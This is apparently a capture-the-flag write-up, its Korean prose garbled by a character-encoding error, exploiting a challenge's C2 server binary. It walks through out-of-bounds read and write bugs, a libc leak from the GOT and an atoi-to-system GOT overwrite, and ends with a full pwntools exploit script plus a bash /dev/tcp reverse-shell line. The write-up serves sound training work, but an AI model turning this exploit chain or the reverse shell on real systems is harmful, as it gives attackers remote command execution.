0x00. Introduction
β tree .
.
βββ 8f7c31c3010792cd92b452ac7223128f64189e61ee52fedc107c87a3408a66e9
βββ cnc
βββ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
βββ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2.c
βββ libc.so.6
μ€ν νμΌμ μλ²μ μ
μ±μ½λ(μλ§λ), μμ€μ½λμ λΌμ΄λΈλ¬λ¦¬ νμΌμ΄ μ 곡λλ€. μ²μμ μ
μ±μ½λλ‘ μΆμ λλ 8f7c νμΌμ λΆμν΄μΌ νλ μΆμλλ°, κ²°κ΅μλ λ¬Έμ μ μ ν κ΄λ ¨μ΄ μμλ€.
[*] '/home/user/cnc/39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
C2 μλ² νμΌμΈ 39fdμ μ μ©λ 보νΈκΈ°λ²μ μμ κ°λ€.
Environment
μ€λλ§μ docker νκ²½μ΄ μλ λΌμ΄λΈλ¬λ¦¬ νμΌμ΄ μ£Όμ΄μ Έ LD_PRELOADλ₯Ό νλ €κ³ νλλ°, λ§νΉμ΄ μ μλλ€.
κ²°κ΅ pwninitμ΄λΌλ ν΄μ μ°Ύμ ν΄κ²°νλ€. λΌμ΄λΈλ¬λ¦¬ νμΌμ λ‘λν μ μλ λ‘λλ₯Ό μ°Ύμ λ€μ΄λ°μ λΏλ§ μλλΌ λ°μ΄λ리λ₯Ό ν¨μΉν΄μ μ£Όμ΄μ§ λΌμ΄λΈλ¬λ¦¬λ₯Ό λ‘λνκ² λ³κ²½ν΄μ€λ€. κ΅μ₯ν κ°λ¨νλ° κ°λ ₯ν λκ΅¬μΈ κ² κ°λ€.
Concept
β ./39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
[*] Starting server on port 8080...
[*] Server listening on port 8080
C2 μλ² νμΌμ μ€ννλ©΄ μμ κ°μ΄ 8080 ν¬νΈλ₯Ό μ΄κ³ λκΈ°νλ€. μ΄ν C2 νλ‘ν μ½μ λ§λ μμ²μ΄ μμ λ κ·Έμ ν΄λΉνλ λ‘μ§μ μννλ€.
0x01. Vulnerability
μ½λκ° μ½ 500μ€μ λ λλλ° νλμ μ·¨μ½μ μΌλ‘ exploitμ μ±κ³΅ν΄μ λ€λ₯Έ μ·¨μ½μ μ΄ μμ μλ μλ€.
void update_bot(int bot_id, const char* data, size_t data_size) {
pthread_mutex_lock(&bots_mutex);
int index = bot_id;
int field_count = 0;
...
while (*ptr && field_count < 8) {
if (*ptr == '|') {
*ptr = '\0';
fields[field_count++] = start;
start = ptr + 1;
}
ptr++;
}
if (field_count < 8) {
fields[field_count++] = start;
}
if (field_count > 0 && strlen(fields[0]) > 0)
memcpy(bots[index].hostname, fields[0], MAX_BUFFER_LEN - 1);
if (field_count > 1 && strlen(fields[1]) > 0)
memcpy(bots[index].username, fields[1], MAX_BUFFER_LEN - 1);
...
printf("[*] Bot updated: ID=%d\n", bot_id);
pthread_mutex_unlock(&bots_mutex);
}
void detail_bot(int bot_id, int client_socket) {
pthread_mutex_lock(&bots_mutex);
char response[BUFFER_SIZE * 4] = {0};
int index = bot_id;
snprintf(response, sizeof(response),
"BOT_DETAIL|%d|%.255s|%.255s|%.15s|%.15s|%.255s|%.255s|%.63s|%.63s|%ld\n",
bots[index].id,
bots[index].hostname,
bots[index].username,
bots[index].public_ip,
bots[index].private_ip,
bots[index].os_info,
bots[index].cpu_info,
bots[index].ram_info,
bots[index].disk_info,
bots[index].last_seen);
send(client_socket, response, strlen(response), 0);
pthread_mutex_unlock(&bots_mutex);
}
update_botκ³Ό detail_botμμ indexμ λν κ²μ¦μ νμ§ μκΈ° λλ¬Έμ κ°κ° OOB write, OOB read μ·¨μ½μ μ΄ λ°μνλ€.
0x02. Exploit
OOB Read
μ΅λ botsμ κ°μμΈ MAX_BOTSκ° 1000μ΄λ λκΈ° λλ¬Έμ botsμ λ€ μμ보λ€λ μ μμμ κ΄μ¬μ΄ κ°λ€.
μ°μ OOB readλ₯Ό νμ©νκΈ° μν΄ λ€μκ³Ό κ°μ΄ payloadλ₯Ό μμ±νλ€.
s.sendline(b"DETAIL|-1")
r = s.recv().split(b"|")[1:]
for o, f in zip(order, r):
print(f"{o} : {f}, len {len(f)}")
μ΄ λ μΆλ ₯λλ λ΄μ©μ λ€μκ³Ό κ°λ€.
id : b'0', len 1
hostname : b'', len 0
username : b'', len 0
public_ip : b'XXXXXXXXXXXXXXX', len 15
private_ip : b'XXXXXXXXXXXXXXX', len 15
os_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 255
cpu_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 32
ram_info : b'\xa0\x95\xd3\xf7\xff\x7f', len 6
disk_info : b'P\xec\xd0\xf7\xff\x7f', len 6
last_seen : b'0\n', len 2
ram_infoμ disk_infoλ₯Ό 보면 libc μ£Όμκ° μ»μ΄μ§λ€. bots μ μμμ ν΄λΉνλ λ©λͺ¨λ¦¬λ₯Ό μΆλ ₯ν΄λ³΄λ©΄ λ€μκ³Ό κ°λ€.
gefβ€ x/46gx 0x0000000000406000
0x406000 <free@got.plt>: 0x00007ffff7cadd30 0x00007ffff7d2bbe0
0x406010 <puts@got.plt>: 0x0000000000401050 0x00007ffff7d2c180
0x406020 <inet_ntoa@got.plt>: 0x00007ffff7d3c400 0x00007ffff7d2ba30
0x406030 <strlen@got.plt>: 0x00007ffff7d8b780 0x00000000004010a0
0x406040 <htons@got.plt>: 0x00007ffff7d395a0 0x00007ffff7d2bec0
0x406050 <printf@got.plt>: 0x00007ffff7c60100 0x00007ffff7c66370
0x406060 <memset@got.plt>: 0x00007ffff7d89440 0x0000000000401100
0x406070 <strcmp@got.plt>: 0x00007ffff7d8afd0 0x00007ffff7c451a0
0x406080 <memcpy@got.plt>: 0x00007ffff7d88a40 0x00007ffff7fc3a40
0x406090 <select@got.plt>: 0x00007ffff7d26bc0 0x00007ffff7ca1a70
0x4060a0 <malloc@got.plt>: 0x00007ffff7cad650 0x00007ffff7c9dc70
0x4060b0 <listen@got.plt>: 0x00007ffff7d2bb50 0x00007ffff7d395a0
0x4060c0 <bind@got.plt>: 0x00007ffff7d2b960 0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>: 0x00007ffff7c28a93 0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>: 0x00007ffff7d2b820 0x00007ffff7c58750
0x4060f0 <strcat@got.plt>: 0x007ffff7d0ec507c 0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>: 0x00007ffff7c9fff0 0x00007ffff7d2c310
0x406110: 0x0000000000000000 0x0000000000000000
0x406120 <server_running>: 0x0000000000000001 0x0000000000000000
0x406130: 0x0000000000000000 0x00000000691bb9f6
0x406140 <completed.0>: 0x0000000000000000 0x0000000000000000
0x406150: 0x0000000000000000 0x0000000000000000
0x406160 <bots>: 0x0000000000000000 0x0000000000000000
μ΄λ κ² GOT μμμ ν΅ν΄ libc μ£Όμκ° μΆλ ₯λλ€. μΆλ ₯λ μ£Όμλ ntohsμ sleepμ libc μ£Όμμ΄λ€.
OOB Write
λ°λΌμ update_botμ μ΄μ©ν΄ GOT overwrite μλ리μ€λ₯Ό μκ°νλλ°, κ·Έ κ³Όμ μμ λ κ°μ§ μ€μκ° μμλ€.
- GOTλ³΄λ€ μ μμμλ
r κΆνλ§ μκΈ° λλ¬Έμ hostname, username λ±μ μ°λ κ³Όμ μμ Segmentation Faultκ° λ°μν¨ ntohsμ sleepμ GOTλ₯Ό overwriteνλ €κ³ ν¨
μ΄ μ€μλ€μ μ½λλ₯Ό μ 보면 νμ§ μμμ κ²μ΄λΌμ νΌλλ°± μ°¨μμΌλ‘ κΈ°λ‘νλ€.
if (field_count > 6 && strlen(fields[6]) > 0)
memcpy(bots[bot_index].ram_info, fields[6], MAX_IO_INFO_BUFFER_LEN - 1);
strlen(field[i]) > 0μΌ λλ§ memcpyλ₯Ό νκΈ° λλ¬Έμ field[i]λ₯Ό λΉμλλ©΄ hostname, usernameμ μ°λ κ³Όμ μ μ€ν΅ν μ μμmemcpyλ‘ λ©λͺ¨λ¦¬λ₯Ό ν΅μ§Έλ‘ 볡μ¬νκΈ° λλ¬Έμ κ΅³μ΄ ntohsλ sleepμ΄ μλ λ€μ μλ λ€λ₯Έ ν¨μμ GOTλ₯Ό overwriteν΄λ λ¨
μλ¬΄νΌ OOB writeλ₯Ό μ΄μ©ν΄ GOT overwriteλ₯Ό νκΈ° μν΄ ntohs μ΄νμ GOTλ€μ μΆλ ₯ν΄λ³΄μλ€.
0x4060b8 <ntohs@got.plt>: 0x00007ffff7d395a0
0x4060c0 <bind@got.plt>: 0x00007ffff7d2b960
0x4060c8 <pthread_create@got.plt>: 0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>: 0x00007ffff7c28a93
0x4060d8 <strtok@got.plt>: 0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>: 0x00007ffff7d2b820
0x4060e8 <atoi@got.plt>: 0x00007ffff7c58750
0x4060f0 <strcat@got.plt>: 0x007ffff7d0ec507c
0x4060f8 <sleep@got.plt>: 0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>: 0x00007ffff7c9fff0
0x406108 <socket@got.plt>: 0x00007ffff7d2c310
0x406110: 0x0000000000000000
0x406118: 0x0000000000000000
0x406120 <server_running>: 0x0000000000000001
μ ν¨μλ€ μ€ μΈμμ μ
λ ₯μ λ£κΈ° μ’μ ν¨μλ₯Ό μ°Ύμ보μλλ°, atoiκ° μ’μ보μλ€.
void* handle_client(void* arg) {
...
else if (strcmp(cmd, CMD_DELETE) == 0) {
char *bot_id_str = strtok(NULL, "|");
if (bot_id_str) {
int bot_id = atoi(bot_id_str);
delete_bot(bot_id);
char response[] = "DELETED|OK\n";
send(client_socket, response, strlen(response), 0);
}
}
...
}
μλ²μ μ λ¬λλ DELETE| μ΄νμ μλ λ¬Έμμ΄μ΄ κ·Έλλ‘ bot_id_strμ λ€μ΄κ°κΈ° λλ¬Έμ atoiμ GOTλ₯Ό systemμ μ£Όμλ‘ λ°κΏ¨μ κ²½μ° μΈμλ₯Ό μ λ¬ν΄μ£ΌκΈ° λ§€μ° νΈλ¦¬νλ€. μ΄ λ λ€λ₯Έ ν¨μλ€μ GOTλ₯Ό 건λ€μ΄λ©΄ μλ¬κ° λ νλ₯ μ΄ λκΈ° λλ¬Έμ κΈ°μ‘΄ κ°λ€μ μ μ§ν΄μ€μΌ νλ€.
λ°λΌμ λ€μκ³Ό κ°μ΄ payloadλ₯Ό μμ±νλ€.
payload = b"UPDATE|-1|"
payload += b"|" * 6
payload += p64(libc_base + lib.symbols['ntohs'])
payload += p64(libc_base + lib.symbols['bind'])
payload += p64(libc_base + lib.symbols['pthread_create'])
payload += p64(libc_base + lib.symbols['perror'])
payload += p64(libc_base + lib.symbols['strtok'])
payload += p64(libc_base + lib.symbols['accept'])
payload += p64(libc_base + lib.symbols['system']) payload += b"|"
payload += p64(sleep_addr)
s.sendline(payload)
print(s.recv())
payload = b"DELETE|"
payload += b"/bin/sh"
s.sendline(payload)
print(p.recv())
μ¬κΈ°μμλ systemμ μΈμλ‘ /bin/shλ₯Ό μ λ¬ν΄λ μΆ©λΆνλλ°, νκ²½μ λ°λΌμλ λ€μκ³Ό κ°μ μΈμκ° νμν μλ μλ€.
bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'
0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2_patched"
LIBRARY = "libc.so.6"
CONTAINER = ""
code_base = 0x555555554000
bp = {
'main' : code_base + 0x16ae,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
p = process(BINARY)
if debug:
gdb.attach(p, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
order = ["id", "hostname", "username", "public_ip", "private_ip", "os_info", "cpu_info", "ram_info", "disk_info", "last_seen"]
print(p.recvuntil(b"8080\n"))
s = remote("127.0.0.1", 8080)
s.sendline(b"DETAIL|-1")
r = s.recv().split(b"|")[1:]
for o, f in zip(order, r):
print(f"{o} : {f}, len {len(f)}")
ntohs_addr = u64(r[-3] + b"\x00\x00")
sleep_addr = u64(r[-2] + b"\x00\x00")
libc_base = sleep_addr - lib.symbols['sleep']
log.info(f"ntohs_addr : {hex(ntohs_addr)}")
log.info(f"sleep_addr : {hex(sleep_addr)}")
log.info(f"libc_base : {hex(libc_base)}")
payload = b"UPDATE|-1|"
payload += b"|" * 6
payload += p64(libc_base + lib.symbols['ntohs'])
payload += p64(libc_base + lib.symbols['bind'])
payload += p64(libc_base + lib.symbols['pthread_create'])
payload += p64(libc_base + lib.symbols['perror'])
payload += p64(libc_base + lib.symbols['strtok'])
payload += p64(libc_base + lib.symbols['accept'])
payload += p64(libc_base + lib.symbols['system']) payload += b"|"
payload += p64(sleep_addr)
s.sendline(payload)
print(s.recv())
payload = b"DELETE|"
payload += b"/bin/sh"
s.sendline(payload)
print(p.recv())
p.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)